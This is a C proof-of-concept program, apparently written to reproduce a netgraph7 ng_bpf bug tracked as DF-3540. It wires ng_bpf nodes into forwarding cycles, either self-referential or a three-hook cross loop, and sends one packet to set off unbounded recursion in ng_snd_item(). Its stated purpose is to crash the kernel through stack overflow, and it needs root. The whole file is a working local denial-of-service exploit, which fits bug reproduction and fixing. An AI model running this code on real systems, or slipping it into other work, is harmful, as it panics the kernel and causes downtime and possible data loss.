/*
 * DF-3540 trigger -- netgraph7 ng_bpf: cyclic ifMatch/ifNotMatch forwarding
 * turns into unbounded synchronous recursion in ng_snd_item() (no cycle
 * guard) -> kernel stack overflow on the cpu0 ngthread.
 *
 * modes:
 *   self  : two ng_bpf nodes, each configured with ifMatch == thisHook.
 *           Loop: B1.x1 --peer-- B2.y1, both programs self-referential.
 *   cross : three-hook cycle with NO self-reference at all
 *           (B1.r ->ifMatch-> B1.p ->peer-> B2.q ->ifMatch-> B2.s ->peer-> B1.r),
 *           proving the cycle class, not just the self case.
 *
 * One 1-byte packet injected via the data socket starts the loop.
 * Expected: kernel panic (stack overflow / double fault) within ~ms.
 *
 * ng7 user ABI (verified against sys/netgraph7/ng_message.h):
 *   NG_VERSION 8, AF_NETGRAPH 32, NG_CONTROL 2, NG_DATA 1
 *
 * Build:  cc -O2 -o bpf_cycle bpf_cycle.c
 * Run (root, with ng7 netgraph.ko + ng_socket.ko + ng_bpf.ko loaded):
 *   ./bpf_cycle self|cross
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_NG			32
#define NG_CONTROL		2
#define NG_DATA			1
#define NG_VERSION		8
#define GEN_COOKIE		1137070366	/* NGM_GENERIC_COOKIE (ng7) */
#define BPF_COOKIE		944100792	/* NGM_BPF_COOKIE */
#define NGM_SHUTDOWN		1
#define NGM_MKPEER		2
#define NGM_CONNECT		3
#define NGM_NAME		4

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32

struct ngm_hdr_ {
	u_char	version; u_char spare; u_short spare2;
	u_int	arglen, cmd, flags, token, typecookie;
	char	cmdstr[32];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };
struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_  { char name[NG_NODESIZ]; };
struct ngm_connect_ { char path[512]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
/* DFly: sa_family_t is __uint8_t -> sockaddr_ng data starts at offset 2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

/* struct ng_bpf_hookprog wire layout (flexible array flattened) */
struct bpf_insn_ { u_short code; u_char jt, jf; u_int32_t k; };
struct hookprog_ {
	char	thisHook[NG_HOOKSIZ];
	char	ifMatch[NG_HOOKSIZ];
	char	ifNotMatch[NG_HOOKSIZ];
	int32_t	bpf_prog_len;			/* offset 96 */
	struct bpf_insn_ insns[8];		/* offset 100 */
};

#define BPF_RET_K	0x06

static u_int32_t tok = 0x4200;

/*
 * ng7 control send. The ng_socket apply mechanism propagates the rcvmsg
 * return code into the sendto() errno, so we can observe SET_PROGRAM
 * acceptance/rejection (EINVAL) directly.
 */
static int
ngc(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.cmd = cmd;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);
	return (0);
}

static void
mksetprog(int cs, const char *nodepath, const char *thisHook,
    const char *ifMatch)
{
	struct hookprog_ hp;
	char arg[128];
	int arglen;

	memset(&hp, 0, sizeof(hp));
	snprintf(hp.thisHook, sizeof(hp.thisHook), "%s", thisHook);
	snprintf(hp.ifMatch, sizeof(hp.ifMatch), "%s", ifMatch);
	snprintf(hp.ifNotMatch, sizeof(hp.ifNotMatch), "%s", "");
	hp.bpf_prog_len = 1;
	hp.insns[0].code = BPF_RET_K;
	hp.insns[0].jt = hp.insns[0].jf = 0;
	hp.insns[0].k = 0xffff;		/* match: len > 0 */

	arglen = 100 + 8 * hp.bpf_prog_len;	/* NG_BPF_HOOKPROG_SIZE(1) */
	memcpy(arg, &hp, arglen);

	if (ngc(cs, nodepath, BPF_COOKIE, 1 /* NGM_BPF_SET_PROGRAM */,
	    arg, arglen) < 0)
		printf("SET_PROGRAM %s(%s->%s) FAILED errno=%d (%s)\n",
		    nodepath, thisHook, ifMatch, errno, strerror(errno));
	else
		printf("SET_PROGRAM %s: thisHook=%s ifMatch=%s ok\n",
		    nodepath, thisHook, ifMatch);
	fflush(stdout);
}

int
main(int argc, char **argv)
{
	struct ngm_mkpeer_ mkp;
	struct ngm_name_ nm;
	struct sockaddr_ng_ sa;
	const char *mode = (argc > 1) ? argv[1] : "self";
	int cs, ds;

	printf("bpf_cycle: uid=%d mode=%s\n", getuid(), mode);
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n",
		    errno, strerror(errno));
		if (errno == EPERM)
			printf("RESULT unpriv-gated: ng7 ngc_attach "
			    "caps_priv_check -> EPERM (root-only trigger)\n");
		exit(0);
	}

	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, "bpcyc");
	if (ngc(cs, ".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		printf("STEP name failed errno=%d (continuing)\n", errno);
	fflush(stdout);

	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0) {
		printf("RESULT data-socket errno=%d\n", errno);
		exit(1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "bpcyc:");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		printf("RESULT data-connect errno=%d (%s)\n",
		    errno, strerror(errno));
		exit(1);
	}
	printf("STEP sockets ready\n");
	fflush(stdout);

	if (strcmp(mode, "cross") == 0) {
		struct ngm_connect_ con;

		/* C.in <-> B1.e ; B1.p <-> B2.q */
		memset(&mkp, 0, sizeof(mkp));
		strcpy(mkp.type, "bpf"); strcpy(mkp.ourhook, "in"); strcpy(mkp.peerhook, "e");
		if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
			{ printf("RESULT mkpeer1 errno=%d\n", errno); exit(1); }
		memset(&mkp, 0, sizeof(mkp));
		strcpy(mkp.type, "bpf"); strcpy(mkp.ourhook, "p"); strcpy(mkp.peerhook, "q");
		if (ngc(cs, "in", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
			{ printf("RESULT mkpeer2 errno=%d\n", errno); exit(1); }
		/* B1.r <-> B2.s (CONNECT wires the two EXISTING nodes) */
		memset(&con, 0, sizeof(con));
		strcpy(con.path, "p"); strcpy(con.ourhook, "r"); strcpy(con.peerhook, "s");
		if (ngc(cs, "in", GEN_COOKIE, NGM_CONNECT, &con, sizeof(con)) < 0)
			{ printf("RESULT connect errno=%d\n", errno); exit(1); }
		/* loop: B1.r -ifMatch-> B1.p -peer-> B2.q -ifMatch-> B2.s -peer-> B1.r */
		mksetprog(cs, "in",   "e", "p");
		mksetprog(cs, "in",   "r", "p");
		mksetprog(cs, "in.p", "q", "s");
	} else {
		/* C.in <-> B1.x2 ; B1.x1 <-> B2.y1 */
		memset(&mkp, 0, sizeof(mkp));
		strcpy(mkp.type, "bpf"); strcpy(mkp.ourhook, "in"); strcpy(mkp.peerhook, "x2");
		if (ngc(cs, ".", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
			{ printf("RESULT mkpeer1 errno=%d\n", errno); exit(1); }
		memset(&mkp, 0, sizeof(mkp));
		strcpy(mkp.type, "bpf"); strcpy(mkp.ourhook, "x1"); strcpy(mkp.peerhook, "y1");
		if (ngc(cs, "in", GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0)
			{ printf("RESULT mkpeer2 errno=%d\n", errno); exit(1); }
		/* both loop hooks self-referential: ifMatch == thisHook */
		mksetprog(cs, "in",   "x2", "x1");
		mksetprog(cs, "in",   "x1", "x1");
		mksetprog(cs, "in.x1", "y1", "y1");
	}

	printf("STEP graph built, injecting 1 byte ...\n");
	fflush(stdout);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strcpy(sa.sg_data, "in");
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (sendto(ds, "X", 1, 0, (struct sockaddr *)&sa, sa.sg_len) < 0)
		printf("STEP sendto errno=%d (%s)\n", errno, strerror(errno));
	else
		printf("STEP sendto ok\n");
	fflush(stdout);

	sleep(30);
	printf("RESULT no-panic survived 30s (mode=%s)\n", mode);
	return (0);
}
